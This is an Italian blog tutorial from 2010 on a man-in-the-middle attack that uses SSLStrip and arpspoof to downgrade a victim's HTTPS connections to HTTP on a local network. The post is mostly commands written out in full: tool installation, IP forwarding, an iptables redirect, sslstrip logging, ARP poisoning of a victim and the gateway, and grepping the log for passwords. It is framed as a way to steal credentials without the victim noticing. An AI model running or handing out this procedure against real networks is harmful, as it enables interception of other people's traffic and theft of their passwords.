SSLStrip:Attack ssl and sniff secure connetions
Ettercap, che è il tool più conosciuto per effettuare attacchi di tipo arp poisoning, purtroppo non riesce a sniffare le password che transitano su un protocollo sicuro come l’ssl perciò cerca di ovviare questo problema.
Da wikipedia:
Transport Layer Security (TLS) and its predecessor, Secure Sockets Layer (SSL), are cryptographic protocols that provide security for communications over networks such as the Internet. TLS and SSL encrypt the segments of network connections at the Application Layer to ensure secure end-to-end transit at the Transport Layer.
Several versions of the protocols are in widespread use in applications like web browsing, electronic mail, Internet faxing, instant messaging and voice-over-IP (VoIP).
TLS is an IETF standards track protocol, last updated in RFC 5246, that was based on the earlier SSL specifications developed by Netscape Corporation.
Abbiamo già parlato di come effettuare attacchi MITM (man in the middle), con Ettercap ma non abbiamo visto come sniffare una comunicazione SSL, cioè le connessioni HTTPS.
Vediamo ora come ovviare il problema sfruttando il famoso SSLStrip e arpspoof(non usiamo ettercap per non modificare i certificati… ).
Ettercap, per sniffare connessioni HTTPS cambia il certificato, 99,9 % accettano lo stesso senza preoccupasi di ciò e si fotte :D
Mentre, con SSLSTRIP l’utente che naviga, non si accorgerà di nulla.
SSLSTRIP sostituisce tutti i collegamenti HTTPS con dei collegamenti HTTP, per qualsiasi collegamento sicuro cioè HTTPS sslstrip comunica con la vittima utilizzando una connessione HTTP , ma comunica con il server legittimo sullo stesso collegamento sicuro cioè HTTPS .
sudo apt-get install python python-twisted-web dsniff
Vediamo come installare sslstrip su ubuntu(su backbox è già installato :D )
tar zxvf sslstrip-0.8.tar.gz
cd sslstrip-0.8
sudo python ./setup.py install
echo 1 > /proc/sys/net/ipv4/ip_forward
Settiamo IpTables in maniera che reindirizzi i pacchetti HTTP verso SSLStrip
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 1000
Avviamo SSLStrip sulla porta 1000.
python ./sslstrip.py -l 1000 -w log_ssl -p -a
Ora, avviamo l’attaco arp posinoning:
sudo arpspoof -i INTERFACE 192.168.1.100 192.168.1.1
Dove 192.168.1.100 e l’ip della vittima, 192.168.1.1 e l’ip del (Gateway,router ).
In questo a caso, dovremo avvelenare un ip alla volta, ma va bè si può atomizzare la procedura :D basta un for :D
Ora possiamo sfruttare ettercap per il solo sniff della connessione:
ettercap -T -q -i INTERFACE
oppure, gurdare il file log di sllstrip:
cat log_ssl | grep pass=
Related posts:
- [cronaca]Man in the Middle attack:Guida con ettercap
- PyLoris 3.0: for testing a Denial of Service (DoS) attack
- Installare ETTERCAP su WINDOWS E UBUNTU :)
- w3af:Web Application Attack and Audit Framework
- Arp Poisoning: Dns Spoof with Ettercap [bypass proxy]
This entry was posted on Sunday, September 26th, 2010 at 3:50 pm and is filed under GNU/Linux, Hacking, Software. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.
Tagged with: arp • ettercap






